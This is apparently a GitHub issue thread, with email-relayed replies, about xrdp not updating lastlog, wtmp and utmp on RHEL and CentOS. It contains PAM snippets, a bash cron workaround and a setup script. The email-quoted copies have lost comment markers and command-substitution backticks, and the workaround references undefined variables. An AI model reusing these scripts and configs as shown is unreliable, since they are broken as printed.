XRDP not updating lastlog info.

Running xrdp 0.9.6 and have found that user lastlog information is not being updated, after a user connects and successfully logs in. We are running Red Hat Enterprise Linux 6.7 and 7.6.
This prevents certain security rules from being applied, as the user would be locked out, due to inactivity.

Yes, xrdp doesn't update the info right now. I think that feature is needed. I stack it as a "feature request".

This appears to be similar to Pull Request #1077 and  issue #870

This should be done after #1961.

Pardon me for jumping in, but as far as I can see this should work already if it's correctly configured. This is based on my experiences with using the EPEL xrdp RPM in a previous life as a sysadmin.
The lastlog file is maintained by pam_lastlog.so. On RHEL/etc 7 systems, this is called as part of /etc/pam.d/postlogin
If you're using the EPEL xrdp RPM, /etc/pam.d/xrdp-sesman looks like this:-
#%PAM-1.0
# Generic Fedora config
auth       include      password-auth
account    include      password-auth
password   include      password-auth
session    include      password-auth

# Gnome specific Fedora config
#auth       include      gdm-password
#account    include      gdm-password
#password   include      gdm-password
#session    include      gdm-password

On GNOME-only systems, the system manager needs to update this file to work correctly. This is ALL RHEL/etc systems where only GNOME is installed. Otherwise some GNOME features won't work correctly.
If this is done, the problem should be fixed for GNOME, as /etc/pam.d/gdm-password correctly includes the postlogin section.
On non-GNOME systems, the file maybe needs to look like this to get it working:-

#%PAM-1.0
# Generic Fedora config
auth       include      password-auth
account    include      password-auth
password   include      password-auth
session    include      password-auth
# Needed for lastlog support
session    include      postlogin

# Gnome specific Fedora config
#auth       include      gdm-password
#account    include      gdm-password
#password   include      gdm-password
#session    include      gdm-password

In any case I don't think it's an XRDP issue, but a packaging issue.
@kenleach2, @shaneforsythe, @ibaldonl - can one of you look into this and see if it solves your problem?

I have tried various configs with PAM but none captured the lastlog info correctly. Ultimately, XRDP needs to make the correct calls to WTMP and such so that the standard auditing works.
Thank you,
Kenneth R. Leach
AJM-2512 Specialty Engineering
Desk:<PHONE_NUMBER>
Email<EMAIL_ADDRESS>Mailing Address:
FAA William J. Hughes Technical Center
Building 300, 3rd Floor, Column K21, Office 3W660
Atlantic City International Airport
Atlantic City, NJ 08405
From: matt335672 @.>
Sent: Wednesday, September 22, 2021 6:03 AM
To: neutrinolabs/xrdp @.>
Cc: Leach, Ken (FAA) @.>; Mention @.>
Subject: Re: [neutrinolabs/xrdp] XRDP not updating lastlog info. (#1302)
Pardon me for jumping in, but as far as I can see this should work already if it's correctly configured. This is based on my experiences with using the EPEL xrdp RPM in a previous life as a sysadmin.
The lastlog file is maintained by pam_lastlog.so. On RHEL/etc 7 systems, this is called as part of /etc/pam.d/postlogin
If you're using the EPEL xrdp RPM, /etc/pam.d/xrdp-sesman looks like this:-
#%PAM-1.0
Generic Fedora config
auth       include      password-auth
account    include      password-auth
password   include      password-auth
session    include      password-auth
Gnome specific Fedora config
#auth       include      gdm-password
#account    include      gdm-password
#password   include      gdm-password
#session    include      gdm-password
On GNOME-only systems, the system manager needs to update this file to work correctly. This is ALL RHEL/etc systems where only GNOME is installed. Otherwise some GNOME features won't work correctly.
If this is done, the problem should be fixed for GNOME, as /etc/pam.d/gdm-password correctly includes the postlogin section.
On non-GNOME systems, the file maybe needs to look like this to get it working:-
#%PAM-1.0
Generic Fedora config
auth       include      password-auth
account    include      password-auth
password   include      password-auth
session    include      password-auth
Needed for lastlog support
session    include      postlogin
Gnome specific Fedora config
#auth       include      gdm-password
#account    include      gdm-password
#password   include      gdm-password
#session    include      gdm-password
In any case I don't think it's an XRDP issue, but a packaging issue.
@kenleach2https://github.com/kenleach2, @shaneforsythehttps://github.com/shaneforsythe, @ibaldonlhttps://github.com/ibaldonl - can one of you look into this and see if it solves your problem?
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHubhttps://github.com/neutrinolabs/xrdp/issues/1302#issuecomment-924776760, or unsubscribehttps://github.com/notifications/unsubscribe-auth/ALQSFSO5LD23THVGSVGNGT3UDGSWZANCNFSM4G4JX5SQ.
Triage notifications on the go with GitHub Mobile for iOShttps://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675 or Androidhttps://play.google.com/store/apps/details?id=com.github.android&referrer=utm_campaign%3Dnotification-email%26utm_medium%3Demail%26utm_source%3Dgithub.

@kenleach2 - thanks for coming back to me.
First thing to say is I absolutely agree that we should be making the correct calls to update wtmp and utmp and I've made a note of this against #1961.
I've fired up a CentOS 7 VM to look at this in more detail, and to dig into the authconfig Python script. My immediate observations are:-

The config I've suggested above won't work
I may have something at least a little useful for you in the short term.

The reason the config I've given you is useless is that config generated by authconfig in /etc/pam.d/lastlogin isn't that configurable. For non GDM sessions, the line which is executed is this:-
session     optional      pam_lastlog.so silent noupdate showfailed

The net effect is simply to show the last failed login time to the user.
The only way I can see to change the behaviour of authconfig is to modify /usr/share/authconfig/authinfo.py which I can't recommend.
However, I had some success with this file:-

#%PAM-1.0
# Generic Fedora config
auth       include      password-auth
account    include      password-auth
password   include      password-auth
session    include      password-auth
# Update lastlog and wtmp
session    optional     pam_lastlog.so silent

# Gnome specific Fedora config
#auth       include      gdm-password
#account    include      gdm-password
#password   include      gdm-password
#session    include      gdm-password

With this,, at least /var/log/lastlog and /var/log/wtmp are updated. On my VM I've got a testuser used exclusively for xrdp:-
$ lastlog | grep testuser
testuser         :10                       Thu Sep 23 09:50:12 +0100 2021
$ who /var/log/wtmp | grep testuser
testuser :10          2021-09-23 09:49
testuser :10          2021-09-23 09:50

I've also had a quick look at CentOS 8 and authselect. This is slightly more configurable, but not in a useful way. However, the workaround above should also work.
To solve the mystery of how openssh updates lastlog, I had to poke around in the openssh sources. OpenSSH updates lastlog itself directly. I think it unlikely that we'll be following this path, as PAM is available, but it's always an option.
If anyone following this thread thinks this is useful for RHEL/CentOS/etc until we're updating utmp and wtmp directly, I can start a Bugzilla conversation with Red Hat.

Until the wtmp/utmp support is added, I created a script that runs via cron, to update the lastlog info based on the successful connections to sessions in the xrdp-sesman.log file.
Thank you,
Kenneth R. Leach
AJM-2512 Specialty Engineering
Desk:<PHONE_NUMBER>
Email<EMAIL_ADDRESS>Mailing Address:
FAA William J. Hughes Technical Center
Building 300, 3rd Floor, Column K21, Office 3W660
Atlantic City International Airport
Atlantic City, NJ 08405
From: matt335672 @.>
Sent: Thursday, September 23, 2021 5:31 AM
To: neutrinolabs/xrdp @.>
Cc: Leach, Ken (FAA) @.>; Mention @.>
Subject: Re: [neutrinolabs/xrdp] XRDP not updating lastlog info. (#1302)
@kenleach2https://github.com/kenleach2 - thanks for coming back to me.
First thing to say is I absolutely agree that we should be making the correct calls to update wtmp and utmp and I've made a note of this against #1961https://github.com/neutrinolabs/xrdp/discussions/1961.
I've fired up a CentOS 7 VM to look at this in more detail, and to dig into the authconfig Python script. My immediate observations are:-

The config I've suggested above won't work
I may have something at least a little useful for you in the short term.

The reason the config I've given you is useless is that config generated by authconfig in /etc/pam.d/lastlogin isn't that configurable. For non GDM sessions, the line which is executed is this:-
session     optional      pam_lastlog.so silent noupdate showfailed
The net effect is simply to show the last failed login time to the user.
The only way I can see to change the behaviour of authconfig is to modify /usr/share/authconfig/authinfo.py which I can't recommend.
However, I had some success with this file:-
#%PAM-1.0
Generic Fedora config
auth       include      password-auth
account    include      password-auth
password   include      password-auth
session    include      password-auth
Update lastlog and wtmp
session    optional     pam_lastlog.so silent
Gnome specific Fedora config
#auth       include      gdm-password
#account    include      gdm-password
#password   include      gdm-password
#session    include      gdm-password
With this,, at least /var/log/lastlog and /var/log/wtmp are updated. On my VM I've got a testuser used exclusively for xrdp:-
$ lastlog | grep testuser
testuser         :10                       Thu Sep 23 09:50:12 +0100 2021
$ who /var/log/wtmp | grep testuser
testuser :10          2021-09-23 09:49
testuser :10          2021-09-23 09:50
I've also had a quick look at CentOS 8 and authselect. This is slightly more configurable, but not in a useful way. However, the workaround above should also work.
To solve the mystery of how openssh updates lastlog, I had to poke around in the openssh sources. OpenSSH updates lastlog itself directly. I think it unlikely that we'll be following this path, as PAM is available, but it's always an option.
If anyone following this thread thinks this is useful for RHEL/CentOS/etc until we're updating utmp and wtmp directly, I can start a Bugzilla conversation with Red Hat.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHubhttps://github.com/neutrinolabs/xrdp/issues/1302#issuecomment-925648236, or unsubscribehttps://github.com/notifications/unsubscribe-auth/ALQSFSPIAUW6IKYZWNJGXWTUDLXV5ANCNFSM4G4JX5SQ.
Triage notifications on the go with GitHub Mobile for iOShttps://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675 or Androidhttps://play.google.com/store/apps/details?id=com.github.android&referrer=utm_campaign%3Dnotification-email%26utm_medium%3Demail%26utm_source%3Dgithub.

Thanks for the info @kenleach2.
For the benefit of others who may be in the same position as you, would you be able to share your script? If you can, feel free to reply via email, and I'll tidy up your response so it's readable in this thread.
If anyone else would like to comment on the changes to /etc/pam.d/xrdp-sesman above, please do. I think there may be some value in starting the conversation with Red Hat ASAP (the maintainer Bojan is very helpful) but I need some user experiences to guide me here. For clarity, this particular script is delivered by the EPEL RPM rather than by us. I don't think I made that at all clear.

I can share but it is a bit of code. The actual script is the xrdp-lastlog-update script, towards the bottom of this email. However, the xrdp-lastlog-update script relies on a couple of libraries we have written and are also supplied. The SecureCmds library simply supplies the absolute pathname to an OS command. So, rather than have to explicitly use absolute paths for OS commands, they can be updated via the library. The WriteMsg library is simply a formatter for how we like to see output messages on screen and in logs. If one wishes, they can go through and remove the needs for these libraries.
=====[ File: /lib/FAAlibs/SecureCmds.bash begin ]=====
#########################################################################
This library contains functions and hashes that assist with the use in
securing commands, using absolute paths, from trusted locations, for
increased security.

It is expected that this library will be sourced from a bash script.

The following are the available items from the library:

GetCmdPath function: direct call    : SecureCmds::GetCmdPath "command"
variable assign: var=$(SecureCmds::GetCmdPath)

secure_cmds hash: called by issuing ${secure_cmds[command]}
##########################################################################
Get the list of basic commands.
BASIC_CMD_SET=/usr/bin/get-lib-cmd-info -c
Get the list of known directories where commands would be located.
KNOWN_DIRS=/usr/bin/get-lib-cmd-info -d
function SecureCmds::GetCmdPath {
# This routine attempts to associate a given command to one of the known
# paths in the KNOWN_DIRS list. If the command was not found in any
# of the paths, an error is thrown.
# Get the command.
local cmd=$1

# Loop through each path and see if the command is there.
local cmd_found=0
for dir in $KNOWN_DIRS; do
    if [ -f $dir/$cmd ]; then
        cmd="$dir/$cmd"
        cmd_found=1
        break
    fi
done

if [ $cmd_found -ne 1 ]; then
    # Command not found in paths. Return error.
    /bin/echo "ERROR: Command \"$cmd\" could not be found."
else
    # Return the command with the absolute path.
    /bin/echo "$cmd"
fi

}
Create the secure_cmds hash and make an entry for each
command.
declare -A secure_cmds
for command in $BASIC_CMD_SET; do
secure_cmds["$command"]=$(SecureCmds::GetCmdPath "$command")
done
Unset varibales.
unset BASIC_CMD_SET
=====[ File: /lib/FAAlibs/SecureCmds.bash end ]=====
=====[ File: /lib/FAAlibs/WriteMsg.bash begin ]=====
#######################################################################
Functions to write messages in defined formats.

It is expected that this library will be sourced from a bash script.

The following are the available items from the library:

WriteMsg::Standard
syntax: WriteMsg::Standard "type" "messsage" "log"

Type can be one of: debug, error, info, logdebug, or warn.

If the log file passed cannot be opened for writing, messages will only
go to STDOUT.

#######################################################################
Source needed libs.
. /lib/FAAlibs/SecureCmds.bash
date="${secure_cmds[date]} +"%a %b %d %Y %H:%M:%S %Z""
host=$(${secure_cmds[hostname]})
prog_pid=$$
declare -A message_type
message_type["debug"]='DEBUG'
message_type["error"]='ERROR'
message_type["info"]='INFO '
message_type["logdebug"]='DEBUG'
message_type["logerror"]='ERROR'
message_type["loginfo"]='INFO'
message_type["logwarn"]='WARN'
message_type["warn"]='WARN '
function WriteMsg::Standard {
local msg_type=$1
local msg=$2
local log=$3
# See if the standard messages should only be logged, rather
# than also being sent to STDOUT.
local log_only=0
${secure_cmds[echo]} "$msg_type" | ${secure_cmds[egrep]} "^log(debug|error|info|warn)$" 1>/dev/null 2>&1
if [ $? -eq 0 ]; then
    log_only=1
fi

# Set log locations for cron versus non-cron runs.
cron_log=$log
non_cron_log=$log

# If a log wasn't specified or we are unable to write to
# the log, send everything to STDOUT.
if [ "$log" = "" ]; then
    if [ $log_only -eq 1 ]; then
        cron_log=/dev/null
    else
        cron_log=/dev/stdout
    fi
    non_cron_log=/dev/null
else
    if [ ! -f $log ]; then
        ${secure_cmds[touch]} $log >/dev/null 2>&1
        if [ $? -ne 0 ]; then
            if [ $log_only -eq 1 ]; then
                cron_log=/dev/null
            else
                cron_log=/dev/stdout
            fi
            non_cron_log=/dev/null
        fi
    fi
fi

if [ ! -t 1 ]; then
    # Cron
    ${secure_cmds[printf]} "%-23s  %-5s: %-13s: %-5s: %s\n" "`eval $date`" ${message_type[$msg_type]} $host $prog_pid "$msg" >>$cron_log
else
    # Not cron
    if [ $log_only -eq 1 ]; then
        ${secure_cmds[printf]} "%-23s  %-5s: %-13s: %-5s: %s\n" "`eval $date`" ${message_type[$msg_type]} $host $prog_pid "$msg" >>$non_cron_log
    else
        ${secure_cmds[printf]} "%-23s  %-5s: %-13s: %-5s: %s\n" "`eval $date`" ${message_type[$msg_type]} $host $prog_pid "$msg" | ${secure_cmds[tee]} -a $non_cron_log
    fi
fi

}
=====[ File: /lib/FAAlibs/WriteMsg.bash end ]=====
=====[ File: xrdp-lastlog-update begin ]=====
#!/bin/bash
##################################################
This utility is used to update user lastog information
based on successful logins from XRDP sessions.
XRDP does not currently contain code to hook into the
proper authentication modules to update the lastlog
info. Therefore, on systems where XRDP is the only
access method used, user account login information
is not normally updated.
##################################################
Source needed libraries.
. /lib/FAAlibs/SecureCmds.bash
. /lib/FAAlibs/WriteMsg.bash
Set command variables.
lastlog_cmd=/usr/bin/lastlog
Set static variables.
prog_name="${secure_cmds[basename]} $0"
log=/var/log/${prog_name}.log
xrdp_log=/var/log/xrdp-sesman.log
function ProgramEnd {
# This function is used to perform tasks, whenever the program has to end.
WriteMsg::Standard "info" "$prog_name ended." "$log"
}
Make sure a config file exists.
if [ ! -f $config_file ]; then
$echo_cmd "No $config_file config file found."
exit 1
fi
See if we are being run via cron by checking
whether or not we are run in an interactive
terminal.
if [ ! -t 1 ]; then
is_cron=1
fi
WriteMsg::Standard "info" "$prog_name started." "$log"
oldifs=$IFS
IFS=$'\n'
for session_line in ${secure_cmds[egrep]} --no-messages "created session \(access granted\):|reconnected session:" $xrdp_log; do
# Get login information from the XRDP log entry.
login_date=${secure_cmds[echo]} $session_line | ${secure_cmds[grep]} -o -E "[0-9]{8}"
login_time=${secure_cmds[echo]} $session_line | ${secure_cmds[grep]} -o -E "[0-9]{2}:[0-9]{2}:[0-9]{2}"
xrdp_user=${secure_cmds[echo]} $session_line | ${secure_cmds[awk]} -F, '{print $1}' | ${secure_cmds[awk]} 'NF>1{print $NF}'
xrdp_epoch=${secure_cmds[date]} -d "$login_date $login_time" +"%s"
# Check lastlog to determine when was the last recorded login update.
lastlog_output=`$lastlog_cmd -u $xrdp_user | ${secure_cmds[grep]} "^$xrdp_user"`
lastlog_date=${lastlog_output: -26}
lastlog_epoch=`${secure_cmds[date]} -d "$lastlog_date" +"%s"`

# Update lastlog info, if the user has logged in via XRDP since the latest
# recorded date/time from lastlog.
if [ $xrdp_epoch -gt $lastlog_epoch ]; then
    WriteMsg::Standard "info" "Updating lastlog info for $xrdp_user." "$log"
    # Determine whether or not lastlog supports a direct update and
    # update lastlog info based on what is supported.
    $lastlog_cmd -h | ${secure_cmds[grep]} -- '--set' 1>/dev/null 2>&1
    if [ $? -eq 0 ]; then
        $lastlog_cmd --set --user $xrdp_user
    else
        ${secure_cmds[su]} -l $xrdp_user -c exit 1>/dev/null 2>&1
    fi
fi

done
IFS=$oldifs
ProgramEnd
=====[ File: xrdp-lastlog-update end ]=====
Hope this helps.
Kenneth R. Leach
AJM-2512 Specialty Engineering
Desk:<PHONE_NUMBER>
Email<EMAIL_ADDRESS>Mailing Address:
FAA William J. Hughes Technical Center
Building 300, 3rd Floor, Column K21, Office 3W660
Atlantic City International Airport
Atlantic City, NJ 08405
From: matt335672 @.>
Sent: Thursday, September 23, 2021 9:41 AM
To: neutrinolabs/xrdp @.>
Cc: Leach, Ken (FAA) @.>; Mention @.>
Subject: Re: [neutrinolabs/xrdp] XRDP not updating lastlog info. (#1302)
Thanks for the info @kenleach2https://github.com/kenleach2.
For the benefit of others who may be in the same position as you, would you be able to share your script? If you can, feel free to reply via email, and I'll tidy up your response so it's readable in this thread.
If anyone else would like to comment on the changes to /etc/pam.d/xrdp-sesman above, please do. I think there may be some value in starting the conversation with Red Hat ASAP (the maintainer Bojan is very helpful) but I need some user experiences to guide me here. For clarity, this particular script is delivered by the EPEL RPM rather than by us. I don't think I made that at all clear.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHubhttps://github.com/neutrinolabs/xrdp/issues/1302#issuecomment-925826958, or unsubscribehttps://github.com/notifications/unsubscribe-auth/ALQSFSIIX6N5BTDYAWQIHKTUDMU7FANCNFSM4G4JX5SQ.
Triage notifications on the go with GitHub Mobile for iOShttps://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675 or Androidhttps://play.google.com/store/apps/details?id=com.github.android&referrer=utm_campaign%3Dnotification-email%26utm_medium%3Demail%26utm_source%3Dgithub.

Thanks @kenleach2 - that's very kind and may be of use to others reading this thread as another option.
As it happens, my options for tidying up your reply are limited as apparently email replies do not support markdown. However, it should be a simple matter to recover your files from your message above.

As the main author of the wtmp branch, I wasn't aware of the module pam_lastlog (didn't look the evolution since the last decade!)
This pam module seems to make the job. As the PAM stack seems the default on most system (linux, freebsd), this should really the way to go.

As long as it has been tested and proven to work, I am not sure it matters what fixes it, as long as it works. We have tried numerous things with PAM to get the lastlog info updated, which have not worked. Our PAM configurations already call pam_lastlog. The thing that has to be kept in mind is, access to systems can be from various methods (e.g. SSH, XRDP, etc.). We have to make sure that what is done for XDP still works with the others.
Kenneth R. Leach
AJM-2512 Specialty Engineering
Desk:<PHONE_NUMBER>
Email<EMAIL_ADDRESS>Mailing Address:
FAA William J. Hughes Technical Center
Building 300, 3rd Floor, Column K21, Office 3W660
Atlantic City International Airport
Atlantic City, NJ 08405
From: Blindauer Emmanuel @.>
Sent: Thursday, September 23, 2021 3:06 PM
To: neutrinolabs/xrdp @.>
Cc: Leach, Ken (FAA) @.>; Mention @.>
Subject: Re: [neutrinolabs/xrdp] XRDP not updating lastlog info. (#1302)
As the main author of the wtmp branch, I wasn't aware of the module pam_lastlog (didn't look the evolution since the last decade!)
This pam module seems to make the job. As the PAM stack seems the default on most system (linux, freebsd), this should really the way to go.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHubhttps://github.com/neutrinolabs/xrdp/issues/1302#issuecomment-926078319, or unsubscribehttps://github.com/notifications/unsubscribe-auth/ALQSFSLWDJHFVXLLVETBOT3UDN3ALANCNFSM4G4JX5SQ.
Triage notifications on the go with GitHub Mobile for iOShttps://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675 or Androidhttps://play.google.com/store/apps/details?id=com.github.android&referrer=utm_campaign%3Dnotification-email%26utm_medium%3Demail%26utm_source%3Dgithub.

pam_lastlog on Linux doesn't update utmp, so it's not a complete solution. Oddly, it looks like it does on FreeBSD but I haven't checked the code.
@kenleach2 - what systems are you using? The reason I ask is that /etc/pam.d/xrdp-sesman on RHEL/CentOS/etc is not the one supplied by us, but rather it's supplied by EPEL. Also, modifying this file will not affect the way that other login methods work.

We are using RHEL 6 and 7.
Kenneth R. Leach
AJM-2512 Specialty Engineering
Desk:<PHONE_NUMBER>
Email<EMAIL_ADDRESS>Mailing Address:
FAA William J. Hughes Technical Center
Building 300, 3rd Floor, Column K21, Office 3W660
Atlantic City International Airport
Atlantic City, NJ 08405
From: matt335672 @.>
Sent: Friday, September 24, 2021 5:43 AM
To: neutrinolabs/xrdp @.>
Cc: Leach, Ken (FAA) @.>; Mention @.>
Subject: Re: [neutrinolabs/xrdp] XRDP not updating lastlog info. (#1302)
pam_lastlog on Linux doesn't update utmp, so it's not a complete solution. Oddly, it looks like it does on FreeBSDhttps://nixdoc.net/man-pages/FreeBSD/man8/man8/pam_lastlog.8.html but I haven't checked the code.
@kenleach2https://github.com/kenleach2 - what systems are you using? The reason I ask is that /etc/pam.d/xrdp-sesman on RHEL/CentOS/etc is not the one supplied by us, but rather it's supplied by EPEL. Also, modifying this file will not affect the way that other login methods work.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHubhttps://github.com/neutrinolabs/xrdp/issues/1302#issuecomment-926492675, or unsubscribehttps://github.com/notifications/unsubscribe-auth/ALQSFSJ7T244UUE77FK6OYDUDRB2BANCNFSM4G4JX5SQ.
Triage notifications on the go with GitHub Mobile for iOShttps://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675 or Androidhttps://play.google.com/store/apps/details?id=com.github.android&referrer=utm_campaign%3Dnotification-email%26utm_medium%3Demail%26utm_source%3Dgithub.

I'm pretty sure based on my CentOS 7 testing you can get something working using pam_lastlog. That might depend on the minor versions you are using possibly.
RHEL 6 seems to be using linux-pam 1.1.1, which contains the pam_lastlog module, at least. There have been quite a few changes to the module since then.
EPEL for RHEL 6 is now retired, so you won't be able to get xrdp updates from this route anyway. Do I take it from that you're building from source? gcc 4.4 isn't something we build with on a regular basis any more, so there could conceivably be compiler issues.

No, we don’t build it. We use the EPEL copy. However, we will be updating to RHEL 7 and 8 over the coming year(s).
Kenneth R. Leach
AJM-2512 Specialty Engineering
Desk:<PHONE_NUMBER>
Email<EMAIL_ADDRESS>Mailing Address:
FAA William J. Hughes Technical Center
Building 300, 3rd Floor, Column K21, Office 3W660
Atlantic City International Airport
Atlantic City, NJ 08405
From: matt335672 @.>
Sent: Friday, September 24, 2021 9:37 AM
To: neutrinolabs/xrdp @.>
Cc: Leach, Ken (FAA) @.>; Mention @.>
Subject: Re: [neutrinolabs/xrdp] XRDP not updating lastlog info. (#1302)
I'm pretty sure based on my CentOS 7 testing you can get something working using pam_lastlog. That might depend on the minor versions you are using possibly.
RHEL 6 seems to be using linux-pam 1.1.1, which contains the pam_lastlog module, at least. There have been quite a few changes to the module since then.
EPEL for RHEL 6 is now retired, so you won't be able to get xrdp updates from this route anyway. Do I take it from that you're building from source? gcc 4.4 isn't something we build with on a regular basis any more, so there could conceivably be compiler issues.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHubhttps://github.com/neutrinolabs/xrdp/issues/1302#issuecomment-926630645, or unsubscribehttps://github.com/notifications/unsubscribe-auth/ALQSFSK3MJ26R7ZD7JYOK33UDR5GPANCNFSM4G4JX5SQ.
Triage notifications on the go with GitHub Mobile for iOShttps://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675 or Androidhttps://play.google.com/store/apps/details?id=com.github.android&referrer=utm_campaign%3Dnotification-email%26utm_medium%3Demail%26utm_source%3Dgithub.

Thanks for the update @kenleach2 .
If you can find some time to investigate this further, we could possibly both benefit. I'm pretty sure my change to /etc/xrdp/xrdp-sesman can work for you, but I need more to back this up than 'it works for me'. At the same time, it would be good for you to get to the bottom of why you're getting unreliable results from your PAM configurations. Even if we move code into sesman to update wtmp and lastlog, it won't be doing anything that the PAM module isn't doing. There could well be something in your setup I'm not anticipating, and since I'm looking at restructuring our PAM interface at the moment I'd really like to understand what that might be.
I've taken the trouble to knock up a script for CentOS 7 (I know it's not exactly the same as Red Hat) which takes a minimal install, adds a GNOME desktop and gets xrdp working with the modifications I've described above.
I add a user 'testuser' as part of my minimal install.  After running the script, testuser is correctly added to lastlog when I log in
I'm hoping you'll be able to use this script in your environment to figure out where the gap is. I'll be happy to help you with that.
Script is:-
#!/bin/sh

# Run this on an updated minimal CentOS install

# Configure desktop
yum group install -y "GNOME Desktop"
systemctl set-default graphical.target

# Install xrdp
yum install -y epel-release
yum install -y xrdp xrdp-selinux
systemctl enable xrdp xrdp-sesman
firewall-cmd --permanent --add-port=3389/tcp

# Patch /etc/pam.d/xrdp-sesman
if [ ! -x /usr/bin/patch ]; then
    yum install -y patch
fi
cd /etc/pam.d/
patch -b <<EOF
--- xrdp-sesman.orig    2021-09-27 11:25:07.211842645 +0100
+++ xrdp-sesman 2021-09-27 11:27:43.511277088 +0100
@@ -1,12 +1,14 @@
 #%PAM-1.0
 # Generic Fedora config
-auth       include      password-auth
-account    include      password-auth
-password   include      password-auth
-session    include      password-auth
+#auth       include      password-auth
+#account    include      password-auth
+#password   include      password-auth
+#session    include      password-auth

 # Gnome specific Fedora config
-#auth       include      gdm-password
-#account    include      gdm-password
-#password   include      gdm-password
-#session    include      gdm-password
+auth       include      gdm-password
+account    include      gdm-password
+password   include      gdm-password
+session    include      gdm-password
+# Update lastlog and wtmp
+session    optional     pam_lastlog.so silent
EOF

# Done
echo "System is now configured"
echo "Please reboot for the changes to take effect"

I will not have any time to test this. My servers that run XRDP are in production only and I will no longer be in a role to support these systems, within the next couple of weeks.
Sorry.
Kenneth R. Leach
AJM-2512 Specialty Engineering
Desk:<PHONE_NUMBER>
Email<EMAIL_ADDRESS>Mailing Address:
FAA William J. Hughes Technical Center
Building 300, 3rd Floor, Column K21, Office 3W660
Atlantic City International Airport
Atlantic City, NJ 08405
From: matt335672 @.>
Sent: Monday, September 27, 2021 10:12 AM
To: neutrinolabs/xrdp @.>
Cc: Leach, Ken (FAA) @.>; Mention @.>
Subject: Re: [neutrinolabs/xrdp] XRDP not updating lastlog info. (#1302)
Thanks for the update @kenleach2https://github.com/kenleach2 .
If you can find some time to investigate this further, we could possibly both benefit. I'm pretty sure my change to /etc/xrdp/xrdp-sesman can work for you, but I need more to back this up than 'it works for me'. At the same time, it would be good for you to get to the bottom of why you're getting unreliable results from your PAM configurations. Even if we move code into sesman to update wtmp and lastlog, it won't be doing anything that the PAM module isn't doing. There could well be something in your setup I'm not anticipating, and since I'm looking at restructuring our PAM interface at the moment I'd really like to understand what that might be.
I've taken the trouble to knock up a script for CentOS 7 (I know it's not exactly the same as Red Hat) which takes a minimal install, adds a GNOME desktop and gets xrdp working with the modifications I've described above.
I add a user 'testuser' as part of my minimal install. After running the script, testuser is correctly added to lastlog when I log in
I'm hoping you'll be able to use this script in your environment to figure out where the gap is. I'll be happy to help you with that.
Script is:-
#!/bin/sh
Run this on an updated minimal CentOS install
Configure desktop
yum group install -y "GNOME Desktop"
systemctl set-default graphical.target
Install xrdp
yum install -y epel-release
yum install -y xrdp xrdp-selinux
systemctl enable xrdp xrdp-sesman
firewall-cmd --permanent --add-port=3389/tcp
Patch /etc/pam.d/xrdp-sesman
if [ ! -x /usr/bin/patch ]; then
yum install -y patch

fi
cd /etc/pam.d/
patch -b <<EOF
--- xrdp-sesman.orig    2021-09-27 11:25:07.211842645 +0100
+++ xrdp-sesman 2021-09-27 11:27:43.511277088 +0100
@@ -1,12 +1,14 @@
#%PAM-1.0
Generic Fedora config
-auth       include      password-auth
-account    include      password-auth
-password   include      password-auth
-session    include      password-auth
+#auth       include      password-auth
+#account    include      password-auth
+#password   include      password-auth
+#session    include      password-auth
Gnome specific Fedora config
-#auth       include      gdm-password
-#account    include      gdm-password
-#password   include      gdm-password
-#session    include      gdm-password
+auth       include      gdm-password
+account    include      gdm-password
+password   include      gdm-password
+session    include      gdm-password
+# Update lastlog and wtmp
+session    optional     pam_lastlog.so silent
EOF
Done
echo "System is now configured"
echo "Please reboot for the changes to take effect"
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHubhttps://github.com/neutrinolabs/xrdp/issues/1302#issuecomment-927914742, or unsubscribehttps://github.com/notifications/unsubscribe-auth/ALQSFSMTB7R7OZJZYKMQDILUEB3ULANCNFSM4G4JX5SQ.
Triage notifications on the go with GitHub Mobile for iOShttps://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675 or Androidhttps://play.google.com/store/apps/details?id=com.github.android&referrer=utm_campaign%3Dnotification-email%26utm_medium%3Demail%26utm_source%3Dgithub.

I'm in no great rush for this.
At some stage we'll revisit this area and make the changes we think are necessary to support this functionality. Whether that's in the app, or via PAM is not yet decided. Any additional information would be useful if you're able to provide it.
If anyone else reading this thread want to comment, please do.

The supplied edit to /etc/xrdp/xrdp-sesman fixed my xrdp lastlog issues on RHEL8

I just wanted to throw in a few cents to the conversation.
Problems with pure pam_lastlog.so
This seems to trigger is_phantom in last.c which causes "gone - no logout" due to /proc/pid/loginuid not containing the uid of the user but<PHONE_NUMBER> (-1)
Fix is to add session    required     pam_loginuid.so after session    optional     pam_lastlog.so silent
Whether these are optional or required, I'm not a pam master
pam_lastlog.so doesn't appear to update utmp, which is what's necessary to see the active logins via w.
The remote host is empty, even with pam_env.so user_readenv=1
My assumption is that xrdp isn't exporting an environment to pam that it needs, but I haven't traveled down the c so we'll have to wait for xrdp to implement wtmp more; or if it was then wait for pull from our distros
Here is my incredibly dirty workaround to the above for anyone who might want/need remote host to be populated and active logins shown via w.
First I cannot use pam_lastlogin.so in combination with my workaround, remark this entry in xrdp-sessman
I do require pam_loginuid.so, put this into the config
I'm using Perl system event correlator to read /var/log/xrdp-sessman.log
I have four events
xrdp login, xrdp start, xrdp stop and xrdp logout
xrdp login and logout grabs pid, display, client ip and username
xrdp start and stop grabs display and window manager pid
The reason for the start and stop filters is to find the windows manager pids which aren't in the session create or terminate lines from the login and logout lines that are logged. I use a temporary file to write missing data from the windows manager to be collected by the start stop scripts.
The scripts create the relevant utmp format and I'm using utmpdump -r to reverse the format and then write it to a file.
The result is that the remote host of the user will also show in wtmp, gone is replaced with relevant data.
If I knew more perl this could all be done in one script.

Thanks for the thoughts @dosmage
Have a look at #2745 which is pending. I'm waiting for other changes before I merge it. It includes the pam_loginuid.so library you mention and includes separate code to update utmp.

I am almost ashamed to post this... but I ran across your thread....
